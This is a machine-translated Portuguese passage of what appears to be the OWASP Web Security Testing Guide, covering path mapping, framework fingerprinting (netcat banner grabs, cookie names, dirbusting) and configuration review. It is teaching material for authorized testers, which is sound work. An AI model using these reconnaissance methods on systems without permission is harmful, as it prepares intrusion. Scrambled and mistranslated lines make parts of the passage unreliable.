a seguir para obter mais detalhes.
Ferramentas
Suíte Burp
Violinista
Referências
EU IRIA
WSTG-INFO-07
Resumo
Antes de iniciar o teste de segurança, é fundamental entender a estrutura do aplicativo. Sem uma compreensão completa do layout do aplicativo, é improvável
que ele seja testado completamente.
Objetivos do teste
Mapeie o aplicativo de destino e entenda os principais fluxos de trabalho.
Como testar
No teste de caixa preta, é extremamente difícil testar toda a base de código. Não apenas porque o testador não tem visualização dos caminhos de código por
meio do aplicativo, mas mesmo que tivesse, testar todos os caminhos de código consumiria muito tempo. Uma maneira de reconciliar isso é documentar quais
caminhos de código foram descobertos e testados.
Caminho - teste cada um dos caminhos por meio de um aplicativo que inclui testes de análise combinatória e de valor de limite para cada caminho de
decisão. Embora essa abordagem ofereça abrangência, o número de caminhos testáveis cresce exponencialmente a cada ramificação de decisão.
Data Flow (ou Taint Analysis) - testa a atribuição de variáveis via interação externa (normalmente usuários). Concentra-se no mapeamento do fluxo,
transformação e uso de dados em um aplicativo.
A escolha de qual método é usado e em que grau cada método é usado deve ser negociada com o proprietário do aplicativo. Abordagens mais simples
também podem ser adotadas, incluindo perguntar ao proprietário do aplicativo com quais funções ou seções de código eles estão particularmente preocupados
e como esses segmentos de código podem ser alcançados.
Para demonstrar a cobertura do código para o proprietário do aplicativo, o testador pode começar com uma planilha e documentar todos os links descobertos
pelo spidering do aplicativo (manual ou automaticamente). Em seguida, o testador pode examinar mais de perto os pontos de decisão no aplicativo e investigar
quantos caminhos de código significativos foram descobertos. Estes devem então ser documentados na planilha com URLs, prosa e descrições de captura
de tela dos caminhos descobertos.
Revisão de código
Garantir cobertura de código suficiente para o proprietário do aplicativo é muito mais fácil com a abordagem de caixa cinza e caixa branca para teste. As
informações solicitadas e fornecidas ao testador garantirão que os requisitos mínimos para cobertura de código sejam atendidos.
Muitas ferramentas modernas de teste dinâmico de segurança de aplicativos (DAST) facilitam o uso de um agente de servidor da web ou podem ser
combinadas com um agente terceirizado para monitorar as especificidades da cobertura de aplicativos da web.
Spidering Automático
O spider automático é uma ferramenta usada para descobrir automaticamente novos recursos (URLs) em um determinado site. Ele começa com
uma lista de URLs a serem visitadas, chamadas de sementes, que dependem de como o Spider é iniciado. Embora existam muitas ferramentas de
Spidering, o exemplo a seguir usa o Zed Attack Proxy (ZAP):
Machine Translated by Google
75
ZAP oferece várias opções de indexação automática, que podem ser aproveitadas com base nas necessidades do testador:
Aranha
Aranha AJAX
Suporte OpenAPI
Ferramentas
software de diagramação
Referências
Cobertura de código
Machine Translated by Google
76
EU IRIA
WSTG-INFO-08
Resumo
Não há nada de novo sob o sol, e quase todos os aplicativos da web que alguém pode pensar em desenvolver já foram desenvolvidos. Com o grande
número de projetos de software livre e de código aberto que são ativamente desenvolvidos e implantados em todo o mundo, é muito provável que um
teste de segurança de aplicativo enfrente um alvo que depende total ou parcialmente desses aplicativos ou estruturas bem conhecidas (por exemplo,
WordPress , phpBB, Mediawiki, etc). Conhecer os componentes do aplicativo da Web que estão sendo testados ajuda significativamente no processo de
teste e também reduz drasticamente o esforço necessário durante o teste. Esses aplicativos da Web conhecidos têm cabeçalhos HTML, cookies e
estruturas de diretório conhecidas que podem ser enumeradas para identificar o aplicativo. A maioria das estruturas da Web possui vários marcadores
nesses locais que ajudam um invasor ou testador a reconhecê-los. Isso é basicamente o que todas as ferramentas automáticas fazem, elas procuram um
marcador de um local predefinido e depois o comparam com o banco de dados de assinaturas conhecidas. Para melhor precisão, vários marcadores são
geralmente usados.
Objetivos do teste
Faça impressões digitais dos componentes usados pelos aplicativos da web.
Como testar
Teste de Caixa Preta
Existem vários locais comuns a serem considerados para identificar estruturas ou componentes:
Cabeçalhos HTTP
Biscoitos
Código-fonte HTML
Extensões de arquivo
Mensagens de erro
Cabeçalhos HTTP
A forma mais básica de identificar um framework da web é observar o campo X-Powered-By no cabeçalho de resposta HTTP.
Muitas ferramentas podem ser usadas para identificar um alvo, a mais simples é o netcat.
$ nc 127.0.0.1 80 HEAD /
HTTP/1.0
HTTP/1.1 200 OK
Servidor: nginx/1.0.14 [...]
X-Powered-By: Mono
No campo X-Powered-By , entendemos que a estrutura do aplicativo da Web provavelmente será Mono . No entanto, embora essa abordagem seja
simples e rápida, essa metodologia não funciona em 100% dos casos. É possível desabilitar facilmente o cabeçalho X-Powered-By por meio de uma
configuração adequada. Existem também várias técnicas que permitem que um site
Machine Translated by Google
77
ofuscar cabeçalhos HTTP (veja um exemplo na seção Remediação). No exemplo acima, também podemos observar que uma versão específica
do nginx está sendo usada para servir o conteúdo.
Portanto, no mesmo exemplo, o testador pode perder o cabeçalho X-Powered-By ou obter uma resposta como a seguinte:
HTTP/1.1 200 OK
Servidor: nginx/1.0.14 Data:
Sáb, 07 de setembro de 2013 08:19:15 GMT
Tipo de conteúdo: text/html;charset=ISO-8859-1 Conexão:
fechar
Variar: aceitar-codificação
X-Powered-By: Sangue, suor e lágrimas
Às vezes, há mais cabeçalhos HTTP que apontam para uma determinada estrutura. No exemplo a seguir, de acordo com as informações da
solicitação HTTP, pode-se ver que o cabeçalho X-Powered-By contém a versão do PHP. No entanto, o cabeçalho do X Generator indica que a
, que
estrutura usada é, na verdade, Swiftlet , seus vetores de ataque. Ao executar a impressão ajuda
digital, um testador
inspecione de penetração
cuidadosamente a expandir
cada cabeçalho
HTTP em busca de tais vazamentos.
HTTP/1.1 200 OK
Servidor: nginx/1.4.1
Data: Sáb, 07 de setembro de 2013 09:22:52
GMT Tipo de conteúdo: texto/html Conexão:
manter ativo Variar: Aceitar codificação X-
Powered-By: PHP/5.4.16-1 ~dotdeb.1 Expira:
quinta-feira, 19 de novembro de 1981 08:52:00
GMT Controle de cache: sem armazenamento, sem
cache, deve ser revalidado, pós-verificação = 0, pré-verificação = 0 Pragma: sem cache X -Gerador:
Swiftlet
Biscoitos
Outra maneira semelhante e um pouco mais confiável de determinar a estrutura da Web atual são os cookies específicos da estrutura.
O cookie CAKEPHP foi definido automaticamente, o que fornece informações sobre o framework que está sendo usado. Uma lista de nomes
de cookies comuns é apresentada na seção Cookies . Ainda existem limitações em confiar neste mecanismo de identificação - é possível alterar
o nome dos cookies. Por exemplo, para o framework CakePHP selecionado , isso pode ser feito através da seguinte configuração (excerto de
core.php ):
/**
* O nome do cookie de sessão do CakePHP.
*
*
Observe que as diretrizes para os estados de nomes de sessão: "O nome da sessão faz referência
* o ID da sessão em cookies e URLs. Deve conter apenas caracteres alfanuméricos *."
* @link http://php.net/session_name
Machine Translated by Google
78
*/
Configure::write('Session.cookie', 'CAKEPHP');
No entanto, é menos provável que essas alterações sejam feitas do que alterações no cabeçalho X-Powered-By , portanto, essa abordagem de
identificação pode ser considerada mais confiável.
Essa técnica é baseada na localização de certos padrões no código-fonte da página HTML. Freqüentemente, pode-se encontrar muitas informações
que ajudam um testador a reconhecer um componente específico. Um dos marcadores comuns são os comentários HTML que levam diretamente à
divulgação do framework. Mais frequentemente, certos caminhos específicos do framework podem ser encontrados, ou seja, links para pastas CSS
ou JS específicas do framework. Por fim, variáveis de script específicas também podem apontar para uma determinada estrutura.
Na captura de tela abaixo, pode-se aprender facilmente a estrutura usada e sua versão pelos marcadores mencionados. O comentário, caminhos
específicos e variáveis de script podem ajudar um invasor a determinar rapidamente uma instância do framework ZK.
Freqüentemente, essas informações são posicionadas na seção <head> das respostas HTTP, em tags <meta> ou no final da página. No entanto,
respostas inteiras devem ser analisadas, pois podem ser úteis para outros fins, como inspeção de outros comentários úteis e campos ocultos. Às
vezes, os desenvolvedores da Web não se preocupam muito em ocultar informações sobre os frameworks ou componentes usados. Ainda é possível
tropeçar em algo assim na parte inferior da página:
Para descobri-los, é utilizada uma técnica conhecida como navegação forçada ou “dirbusting”. Dirbusting é a força bruta de um alvo com pastas e
nomes de arquivos conhecidos e monitoramento de respostas HTTP para enumerar o conteúdo do servidor. Essas informações podem ser usadas
tanto para localizar arquivos padrão e atacá-los quanto para identificar o aplicativo da web. O dirbusting pode ser feito de várias maneiras, o exemplo
abaixo mostra um ataque de dirbusting bem-sucedido contra um alvo do WordPress com a ajuda da lista definida e da funcionalidade de intruso do
Burp Suite.
Podemos ver isso para algumas pastas específicas do WordPress (por exemplo, /wp-includes/ , /wp-admin/ e /wp-content/ )
As respostas HTTP são 403 (Proibido), 302 (Encontrado, redirecionamento para wp-login.php ) e 200 (OK), respectivamente. Isto é um
Machine Translated by Google
79
bom indicador de que o alvo é WordPress. Da mesma forma é possível dirbustar diferentes pastas de plugins de aplicativos e suas versões. Na
captura de tela abaixo, pode-se ver um arquivo CHANGELOG típico de um plug-in Drupal, que fornece informações sobre o aplicativo que está
sendo usado e revela uma versão vulnerável do plug-in.
Dica: antes de iniciar o dirbusting, verifique primeiro o arquivo robots.txt . Às vezes, pastas específicas de aplicativos e outras informações
confidenciais também podem ser encontradas lá. Um exemplo desse arquivo robots.txt é apresentado na captura de tela abaixo.
Machine
80
Translated by Google
Arquivos e pastas específicos são diferentes para cada aplicativo específico. Se o aplicativo ou componente identificado for de código aberto,
pode ser útil configurar uma instalação temporária durante os testes de penetração para obter uma melhor compreensão de qual infraestrutura ou
funcionalidade é apresentada e quais arquivos podem ser deixados no servidor. No entanto, já existem várias boas listas de arquivos; um bom
exemplo são as listas de palavras do FuzzDB de arquivos/pastas previsíveis.
Extensões de arquivo
Os URLs podem incluir extensões de arquivo, que também podem ajudar a identificar a plataforma ou tecnologia da web.
https://wiki.owasp.org/index.php?title=Fingerprint_Web_Application_Framework&action=edit§ion=4
.php – PHP
Mensagens de erro
Como pode ser visto na captura de tela a seguir, o caminho do sistema de arquivos listado aponta para o uso do WordPress ( wp-content ). Além disso,
os testadores devem estar cientes de que o WordPress é baseado em PHP ( functions.php ).
Machine Translated by Google
81
Identificadores Comuns
Biscoitos
zope zope3
CakePHP cakephp
Kohana kohanasession
laravel laravel_session
phpBB phpbb3_
WordPress wp-configurações
1C-Bitrix BITRIX_
AMPcms AMP
DotNetNuke DotNetNukeAnonymous
e107 e107_tz
índico MAKACSESSION
InstantCMS InstantCMS[logdate]
MODx SN4[12symb]
TYPO3 fe_typo_user
Dynamicweb Dynamicweb
LEPTÃO lep[some_numeric_value]+sessionid
Wix Domínio=.wix.com
VIVVO VivoSessãoId
Machine
82
Translated by Google
Aplicativo Palavra-chave
JoomlaGenericName
<meta name="generator" content="Joomla! - Gerenciamento de conteúdo de código aberto" />
marcadores gerais
%framework_name%
distribuído por
construído sobre
corrida
Marcadores Específicos
Estrutura Palavra-chave
ZK <!-- ZK
Remediação
Embora esforços possam ser feitos para usar diferentes nomes de cookies (através da alteração de configurações), ocultar ou alterar caminhos de arquivos/diretórios (através de
reescrita ou alterações no código-fonte), remoção de cabeçalhos conhecidos, etc., tais esforços se resumem a “segurança por meio da obscuridade”. Os proprietários/administradores
do sistema devem reconhecer que esses esforços apenas retardam os adversários mais básicos. O tempo/esforço pode ser melhor utilizado em atividades de conscientização das
Ferramentas
Uma lista de ferramentas gerais e bem conhecidas é apresentada abaixo. Há também muitos outros utilitários, bem como ferramentas de impressão digital baseadas em estrutura.
WhatWeb
Site: https://github.com/urbanadventurer/WhatWeb
Atualmente uma das melhores ferramentas de impressão digital do mercado. Incluído em um Kali Linux padrão Construir. Linguagem: Ruby Correspondências para impressão digital
Expressões regulares
hashes MD5
Reconhecimento de URL
Machine
83
Translated by Google
Site do
Wappalyzer : https://www.wappalyzer.com/
Wapplyzer está disponível em vários modelos de uso, o mais popular dos quais é provavelmente as extensões do Firefox/Chrome.
Eles funcionam apenas na correspondência de expressões regulares e não precisam de nada além da página a ser carregada no navegador. Funciona
completamente no nível do navegador e fornece resultados na forma de ícones. Embora às vezes tenha falsos positivos, isso é muito útil para ter noção
de quais tecnologias foram usadas para construir um site de destino imediatamente após navegar em uma página.
Referências
Artigos técnicos
Saumil Shah: “Uma introdução à impressão digital HTTP”
EU IRIA
WSTG-INFO-09
EU IRIA
WSTG-INFO-10
Resumo
A complexidade da infraestrutura da web interconectada e heterogênea pode incluir centenas de aplicativos da web e torna o gerenciamento
de configuração e revisão uma etapa fundamental no teste e implantação de cada aplicativo. Na verdade, basta uma única vulnerabilidade para
minar a segurança de toda a infraestrutura, e mesmo problemas pequenos e aparentemente sem importância podem evoluir para riscos graves
para outro aplicativo na mesma infraestrutura.
Para resolver esses problemas, é de extrema importância realizar uma análise aprofundada da configuração e dos problemas de segurança
conhecidos. Antes de realizar uma revisão aprofundada é necessário mapear a rede e a arquitetura da aplicação. Os diferentes elementos que
compõem a infraestrutura precisam ser determinados para entender como eles interagem com um aplicativo da web e como afetam a segurança.
Objetivos do teste
Gere um mapa do aplicativo em mãos com base na pesquisa realizada.
Como testar
Mapeie a arquitetura do aplicativo
A arquitetura do aplicativo precisa ser mapeada por meio de algum teste para determinar quais componentes diferentes são usados para
construir o aplicativo da web. Em configurações pequenas, como um aplicativo PHP simples, pode ser usado um único servidor que atenda ao
aplicativo PHP e talvez também ao mecanismo de autenticação.
Em configurações mais complexas, como um sistema bancário online, vários servidores podem estar envolvidos. Isso pode incluir um proxy
reverso, um servidor web front-end, um servidor de aplicativos e um servidor de banco de dados ou servidor LDAP. Cada um desses servidores
será usado para finalidades diferentes e pode até ser segregado em diferentes redes com firewalls entre eles. Isso cria diferentes zonas de rede
para que o acesso ao servidor web não necessariamente conceda a um usuário remoto acesso ao próprio mecanismo de autenticação e para
que os comprometimentos dos diferentes elementos da arquitetura possam ser isolados para que não comprometam toda a arquitetura.
Obter conhecimento da arquitetura do aplicativo pode ser fácil se essas informações forem fornecidas à equipe de teste pelos desenvolvedores
do aplicativo em forma de documento ou por meio de entrevistas, mas também pode ser muito difícil se for feito um teste de penetração cego.
No último caso, um testador começará primeiro com a suposição de que existe uma configuração simples (um único servidor). Em seguida,
eles recuperarão informações de outros testes e derivarão os diferentes elementos, questionarão essa suposição e estenderão o mapa da
arquitetura. O testador começará fazendo perguntas simples como: “Existe um firewall protegendo o servidor web?”. Esta pergunta será
respondida com base nos resultados das varreduras de rede direcionadas ao servidor web e na análise se as portas de rede do servidor web
estão sendo filtradas na borda da rede (sem resposta ou ICMP inacessíveis são recebidos) ou se o servidor está conectado diretamente à
Internet (isto é, retorna pacotes RST para todas as portas que não estão escutando). Essa análise pode ser aprimorada para determinar o tipo
de firewall usado com base em testes de pacotes de rede. É um firewall com estado ou é um filtro de lista de acesso em um roteador? Como
está configurado? Pode ser contornado? É um firewall de aplicativo da Web completo?
A detecção de um proxy reverso na frente do servidor da Web pode ser feita pela análise do banner do servidor da Web, que pode revelar
diretamente a existência de um proxy reverso. Também pode ser determinado obtendo as respostas dadas pelo servidor web às requisições e
comparando-as com as respostas esperadas. Por exemplo, alguns proxies reversos atuam como Intrusão
Machine Translated by Google
86
Sistemas de Prevenção (IPS) bloqueando ataques conhecidos direcionados ao servidor web. Se o servidor da Web responde com uma mensagem
404 a uma solicitação que visa uma página indisponível e retorna uma mensagem de erro diferente para alguns ataques comuns da Web, como
aqueles feitos por scanners de vulnerabilidade, pode ser uma indicação de um proxy reverso (ou um firewall em nível de aplicativo) que está
filtrando as requisições e retornando uma página de erro diferente da esperada.
Outro exemplo: se o servidor da Web retornar um conjunto de métodos HTTP disponíveis (incluindo TRACE), mas os métodos esperados
retornarem erros, provavelmente haverá algo entre bloqueá-los.
Em alguns casos, até mesmo o sistema de proteção se entrega. Aqui está um exemplo de auto-identificação do mod_security:
Os proxies reversos também podem ser introduzidos como caches de proxy para acelerar o desempenho dos servidores de aplicativos de back-
end. A detecção desses proxies pode ser feita com base no cabeçalho do servidor. Eles também podem ser detectados cronometrando as
solicitações que devem ser armazenadas em cache pelo servidor e comparando o tempo gasto para atender a primeira solicitação com as
solicitações subsequentes.
Outro elemento que pode ser detectado são os balanceadores de carga de rede. Normalmente, esses sistemas irão equilibrar uma determinada
porta TCP/IP para vários servidores com base em diferentes algoritmos (round-robin, carga do servidor web, número de solicitações, etc.). Assim,
a detecção desse elemento de arquitetura precisa ser feita examinando várias solicitações e comparando os resultados para determinar se as
solicitações estão indo para o mesmo ou para diferentes servidores da Web. Por exemplo, com base no cabeçalho Date se os relógios do servidor
não estiverem sincronizados. Em alguns casos, o processo de balanceamento de carga da rede pode injetar novas informações nos cabeçalhos
que o destacarão distintamente, como o cookie prefixado BIGipServer introduzido pelos balanceadores de carga F5 BIG-IP.
Os servidores da Web de aplicativos geralmente são fáceis de detectar. A solicitação de vários recursos é tratada pelo próprio servidor de
aplicativos (não pelo servidor da Web) e o cabeçalho de resposta varia significativamente (incluindo valores diferentes ou adicionais no cabeçalho
de resposta). Outra maneira de detectá-los é ver se o servidor da web tenta definir cookies que são indicativos de um servidor da web de aplicativo
sendo usado (como o JSESSIONID fornecido por vários servidores J2EE) ou reescrever URLs automaticamente para fazer o rastreamento de
sessão.
Os back-ends de autenticação (como diretórios LDAP, bancos de dados relacionais ou servidores RADIUS), no entanto, não são tão fáceis de
detectar de um ponto de vista externo de maneira imediata, pois serão ocultados pelo próprio aplicativo.
O uso de um banco de dados de back-end pode ser determinado simplesmente navegando em um aplicativo. Se houver conteúdo altamente
dinâmico gerado “on the fly” provavelmente está sendo extraído de algum tipo de banco de dados pelo próprio aplicativo.
Às vezes, a forma como as informações são solicitadas pode fornecer informações sobre a existência de um back-end de banco de dados. Por
exemplo, uma aplicação de compras online que utiliza identificadores numéricos ( id ) ao navegar pelos diferentes artigos da loja.
No entanto, ao fazer um teste de aplicativo cego, o conhecimento do banco de dados subjacente geralmente só está disponível quando uma
vulnerabilidade surge no aplicativo, como tratamento inadequado de exceções ou suscetibilidade à injeção de SQL.
Machine Translated by Google
87
4.2.4 Revisão de backup antigo e arquivos não referenciados para informações confidenciais
EU IRIA
WSTG-CONF-01
Resumo
A complexidade intrínseca da infraestrutura de servidor da web interconectada e heterogênea, que pode incluir centenas de aplicativos da web, torna
o gerenciamento de configuração e a revisão uma etapa fundamental no teste e implantação de cada aplicativo. Basta uma única vulnerabilidade
para minar a segurança de toda a infraestrutura, e mesmo problemas pequenos e aparentemente sem importância podem evoluir para riscos graves
para outro aplicativo no mesmo servidor. Para solucionar esses problemas, é de extrema importância realizar uma revisão aprofundada da
configuração e dos problemas de segurança conhecidos, após ter mapeado toda a arquitetura.
O gerenciamento adequado da configuração da infraestrutura do servidor web é muito importante para preservar a segurança do próprio aplicativo.
Se elementos como o software do servidor da Web, os servidores de banco de dados de back-end ou os servidores de autenticação não forem
revisados e protegidos adequadamente, eles podem apresentar riscos indesejados ou introduzir novas vulnerabilidades que podem comprometer o
próprio aplicativo.
Por exemplo, uma vulnerabilidade de servidor web que permitiria que um invasor remoto divulgasse o código-fonte do próprio aplicativo (uma
vulnerabilidade que surgiu várias vezes em servidores web ou servidores de aplicativos) poderia comprometer o aplicativo, pois usuários anônimos
poderiam usar as informações divulgadas no código-fonte para alavancar ataques contra o aplicativo ou seus usuários.
As seguintes etapas precisam ser executadas para testar a infraestrutura de gerenciamento de configuração:
Os diferentes elementos que compõem a infraestrutura precisam ser determinados para entender como eles interagem com uma aplicação
web e como afetam sua segurança.
Todos os elementos da infraestrutura precisam ser revisados para garantir que não contenham vulnerabilidades conhecidas.
Uma revisão precisa ser feita das ferramentas administrativas usadas para manter todos os diferentes elementos.
Os sistemas de autenticação precisam ser revisados para garantir que atendam às necessidades do aplicativo e que não possam ser
manipulados por usuários externos para alavancar o acesso.
Uma lista de portas definidas que são necessárias para o aplicativo deve ser mantida sob controle de alterações.
Depois de ter mapeado os diferentes elementos que compõem a infraestrutura (ver Mapa de Rede e Arquitetura de Aplicações) é possível rever a
configuração de cada elemento encontrado e testar as vulnerabilidades conhecidas.
Objetivos do teste
Revise as configurações dos aplicativos definidas na rede e confirme se eles não são vulneráveis.
Valide se as estruturas e sistemas usados são seguros e não suscetíveis a vulnerabilidades conhecidas devido a software não mantido ou
configurações e credenciais padrão.
Como testar
Vulnerabilidades conhecidas do servidor
Vulnerabilidades encontradas nas diversas áreas da arquitetura do aplicativo, seja no servidor web ou no banco de dados back-end, podem
comprometer gravemente o próprio aplicativo. Por exemplo, considere uma vulnerabilidade de servidor que permite que um usuário remoto e não
autenticado carregue arquivos no servidor da web ou até mesmo substitua arquivos. Essa vulnerabilidade pode comprometer o aplicativo, pois um
usuário não autorizado pode substituir o próprio aplicativo ou introduzir código que afetaria os servidores de back-end, pois o código do aplicativo
seria executado como qualquer outro aplicativo.
Machine Translated by Google
89
A revisão das vulnerabilidades do servidor pode ser difícil se o teste precisar ser feito por meio de um teste de penetração cego. Nesses casos,
as vulnerabilidades precisam ser testadas em um local remoto, geralmente usando uma ferramenta automatizada. No entanto, o teste de algumas
vulnerabilidades pode ter resultados imprevisíveis no servidor da Web, e o teste de outras (como aquelas diretamente envolvidas em ataques de
negação de serviço) pode não ser possível devido ao tempo de inatividade do serviço envolvido se o teste for bem-sucedido.
Algumas ferramentas automatizadas sinalizarão vulnerabilidades com base na versão do servidor da Web recuperada. Isso leva a falsos positivos
e falsos negativos. Por um lado, se a versão do servidor da Web tiver sido removida ou ocultada pelo administrador do site local, a ferramenta
de verificação não sinalizará o servidor como vulnerável, mesmo que seja. Por outro lado, se o fornecedor do software não atualizar a versão do
servidor web quando as vulnerabilidades forem corrigidas, a ferramenta de verificação sinalizará vulnerabilidades que não existem. O último caso
é realmente muito comum, pois alguns fornecedores de sistemas operacionais fazem back-port de patches de vulnerabilidades de segurança
para o software que eles fornecem no sistema operacional, mas não fazem um upload completo para a versão mais recente do software. Isso
acontece na maioria das distribuições GNU/Linux, como Debian, Red Hat ou SuSE. Na maioria dos casos, a varredura de vulnerabilidade de
uma arquitetura de aplicativo encontrará apenas vulnerabilidades associadas aos elementos “expostos” da arquitetura (como o servidor da Web)
e geralmente não conseguirá encontrar vulnerabilidades associadas a elementos que não estão diretamente expostos, como os back-ends de
autenticação, o banco de dados back-end ou os proxies reversos em uso.
Finalmente, nem todos os fornecedores de software divulgam vulnerabilidades de forma pública e, portanto, essas fraquezas não são registradas
em bancos de dados de vulnerabilidades conhecidos publicamente [2]. Essas informações são divulgadas apenas aos clientes ou publicadas por
meio de correções que não possuem avisos de acompanhamento. Isso reduz a utilidade das ferramentas de varredura de vulnerabilidade.
Normalmente, a cobertura de vulnerabilidade dessas ferramentas será muito boa para produtos comuns (como o servidor da Web Apache, o
Internet Information Server da Microsoft ou o Lotus Domino da IBM), mas será insuficiente para produtos menos conhecidos.
É por isso que a revisão de vulnerabilidades é melhor feita quando o testador recebe informações internas do software usado, incluindo versões
e lançamentos usados e patches aplicados ao software. Com essas informações, o testador pode recuperar as informações do próprio fornecedor
e analisar quais vulnerabilidades podem estar presentes na arquitetura e como elas podem afetar o próprio aplicativo. Quando possível, essas
vulnerabilidades podem ser testadas para determinar seus efeitos reais e detectar se pode haver algum elemento externo (como detecção de
intrusão ou sistemas de prevenção) que possa reduzir ou anular a possibilidade de exploração bem-sucedida. Os testadores podem até
determinar, por meio de uma revisão de configuração, que a vulnerabilidade nem está presente, pois afeta um componente de software que não
está em uso.
Também vale a pena observar que os fornecedores às vezes corrigem vulnerabilidades silenciosamente e disponibilizam as correções com
novos lançamentos de software. Fornecedores diferentes terão ciclos de lançamento diferentes que determinam o suporte que eles podem
fornecer para versões mais antigas. Um testador com informações detalhadas das versões de software usadas pela arquitetura pode analisar o
risco associado ao uso de versões de software antigas que podem não ser suportadas a curto prazo ou já não são suportadas.
Isso é crítico, pois se uma vulnerabilidade surgir em uma versão de software antiga que não é mais suportada, o pessoal do sistema pode não
estar diretamente ciente disso. Nenhum patch será disponibilizado para ele e os avisos podem não listar essa versão como vulnerável, pois não
é mais suportada. Mesmo que eles saibam que a vulnerabilidade está presente e o sistema é vulnerável, eles precisarão fazer uma atualização
completa para uma nova versão do software, o que pode introduzir um tempo de inatividade significativo na arquitetura do aplicativo ou pode
forçar o aplicativo a ser reinstalado. -codificado devido a incompatibilidades com a versão mais recente do software.
Ferramentas administrativas
Qualquer infraestrutura de servidor web requer a existência de ferramentas administrativas para manter e atualizar as informações utilizadas
pelo aplicativo. Essas informações incluem conteúdo estático (páginas da Web, arquivos gráficos), código-fonte do aplicativo, bancos de dados
de autenticação do usuário, etc. As ferramentas administrativas serão diferentes dependendo do site, tecnologia ou software usado. Por exemplo,
alguns servidores web serão gerenciados usando interfaces administrativas que são, eles próprios, servidores web (como o servidor web iPlanet)
ou serão administrados por arquivos de configuração de texto simples (no caso Apache [3]) ou usar sistema operacional Ferramentas GUI (ao
usar o servidor IIS da Microsoft ou ASP.Net).
Na maioria dos casos, a configuração do servidor será feita usando diferentes ferramentas de manutenção de arquivos usadas pelo servidor
web, que são gerenciadas por meio de servidores FTP, WebDAV, sistemas de arquivos de rede (NFS, CIFS) ou outros mecanismos. Obviamente,
o sistema operacional dos elementos que compõem a arquitetura do aplicativo também será gerenciado por meio de outras ferramentas.
Machine Translated by Google
90
Os aplicativos também podem ter interfaces administrativas incorporadas que são usadas para gerenciar os próprios dados do aplicativo (usuários,
conteúdo, etc.).
Depois de mapear as interfaces administrativas usadas para gerenciar as diferentes partes da arquitetura, é importante revisá-las, pois se um invasor
obtiver acesso a qualquer uma delas, poderá comprometer ou danificar a arquitetura do aplicativo. Para isso é importante:
Determine os mecanismos que controlam o acesso a essas interfaces e suas suscetibilidades associadas. Esta informação pode estar disponível
online.
Algumas empresas optam por não gerenciar todos os aspectos de seus aplicativos de servidor da web, mas podem ter outras partes gerenciando o
conteúdo entregue pelo aplicativo da web. Essa empresa externa pode fornecer apenas partes do conteúdo (atualizações de notícias ou promoções)
ou pode gerenciar o servidor web completamente (incluindo conteúdo e código). É comum encontrar interfaces administrativas disponíveis na Internet
nessas situações, pois usar a Internet é mais barato do que fornecer uma linha dedicada que conectará a empresa externa à infraestrutura de
aplicativos por meio de uma interface apenas de gerenciamento. Nessa situação, é muito importante testar se as interfaces administrativas podem ser
vulneráveis a ataques.
Referências
[1] O WebSEAL, também conhecido como Tivoli Authentication Manager, é um proxy reverso da IBM que faz parte da estrutura Tivoli.
[2] Como o Bugtraq da Symantec, o X-Force da ISS ou o National Vulnerability Database (NVD) do NIST.
[3] Existem algumas ferramentas de administração baseadas em GUI para o Apache (como o NetLoony), mas ainda não estão em uso
generalizado.
Machine Translated by Google
91
EU IRIA
WSTG-CONF-02
Resumo
A configuração adequada dos elementos individuais que compõem uma arquitetura de aplicativo é importante para evitar erros que possam comprometer
a segurança de toda a arquitetura.
Revisão e teste de configuração é uma tarefa crítica na criação e manutenção de uma arquitetura. Isso ocorre porque muitos sistemas diferentes
geralmente são fornecidos com configurações genéricas que podem não ser adequadas à tarefa que executarão no site específico em que estão
instalados.
Embora a instalação típica do servidor de aplicativos e da Web contenha muitas funcionalidades (como exemplos de aplicativos, documentação, páginas
de teste), o que não é essencial deve ser removido antes da implantação para evitar a exploração pós-instalação.
Objetivos do teste
Certifique-se de que os padrões e arquivos conhecidos foram removidos.
Valide se nenhum código de depuração ou extensões são deixados nos ambientes de produção.
Como testar
Teste de Caixa Preta
Arquivos e diretórios de amostra e conhecidos
Muitos servidores web e servidores de aplicativos fornecem, em uma instalação padrão, aplicativos e arquivos de amostra para o benefício do
desenvolvedor e para testar se o servidor está funcionando corretamente logo após a instalação. No entanto, muitos aplicativos de servidor da Web
padrão foram posteriormente conhecidos como vulneráveis. Este foi o caso, por exemplo, para CVE-1999-0449 (Negação de Serviço no IIS quando o
site de exemplo Exair foi instalado), CAN-2002-1744 (Vulnerabilidade de travessia de diretório no CodeBrws.asp no Microsoft IIS 5.0), CAN -2002-1630
(Uso de sendmail.jsp no Oracle 9iAS) ou CAN 2003-1172 (Passagem de diretório na amostra de fonte de exibição no Cocoon do Apache).
Os scanners CGI incluem uma lista detalhada de arquivos conhecidos e amostras de diretório que são fornecidas por diferentes servidores da Web ou
de aplicativos e podem ser uma maneira rápida de determinar se esses arquivos estão presentes. No entanto, a única maneira de ter certeza é fazer
uma revisão completa do conteúdo do servidor da Web ou do servidor de aplicativos e determinar se eles estão relacionados ao próprio aplicativo ou
não.
Revisão de comentário
É muito comum que os programadores adicionem comentários ao desenvolver grandes aplicativos baseados na web. No entanto, comentários incluídos
em linha no código HTML podem revelar informações internas que não deveriam estar disponíveis para um invasor.
Às vezes, até mesmo o código-fonte é comentado, pois uma funcionalidade não é mais necessária, mas esse comentário é vazado para as páginas
HTML retornadas aos usuários involuntariamente.
A revisão de comentários deve ser feita para determinar se alguma informação está vazando por meio de comentários. Esta revisão só pode ser feita
minuciosamente através de uma análise do conteúdo estático e dinâmico do servidor web e através de pesquisas de arquivos. Pode ser útil navegar no
site de forma automática ou guiada e armazenar todo o conteúdo recuperado.
Esse conteúdo recuperado pode então ser pesquisado para analisar quaisquer comentários HTML disponíveis no código.
Configuração do sistema
Machine Translated by Google
92
Várias ferramentas, documentos ou listas de verificação podem ser usadas para fornecer aos profissionais de TI e segurança uma avaliação detalhada da
conformidade dos sistemas de destino com várias linhas de base ou benchmarks de configuração. Essas ferramentas incluem (mas não estão limitadas a):
CIS-CAT Lite
A configuração do servidor web ou do servidor de aplicativos tem um papel importante na proteção do conteúdo do site e deve ser cuidadosamente revisada para
detectar erros comuns de configuração. Obviamente, a configuração recomendada varia dependendo da política do site e da funcionalidade que deve ser fornecida
pelo software do servidor. Na maioria dos casos, no entanto, as diretrizes de configuração (fornecidas pelo fornecedor do software ou terceiros) devem ser
É impossível dizer genericamente como um servidor deve ser configurado, no entanto, algumas diretrizes comuns devem ser
levado em consideração:
Ative apenas os módulos do servidor (extensões ISAPI no caso do IIS) necessários para o aplicativo. Isso reduz a superfície de ataque, pois o tamanho e a
complexidade do servidor são reduzidos à medida que os módulos de software são desabilitados. Também evita que vulnerabilidades que possam aparecer
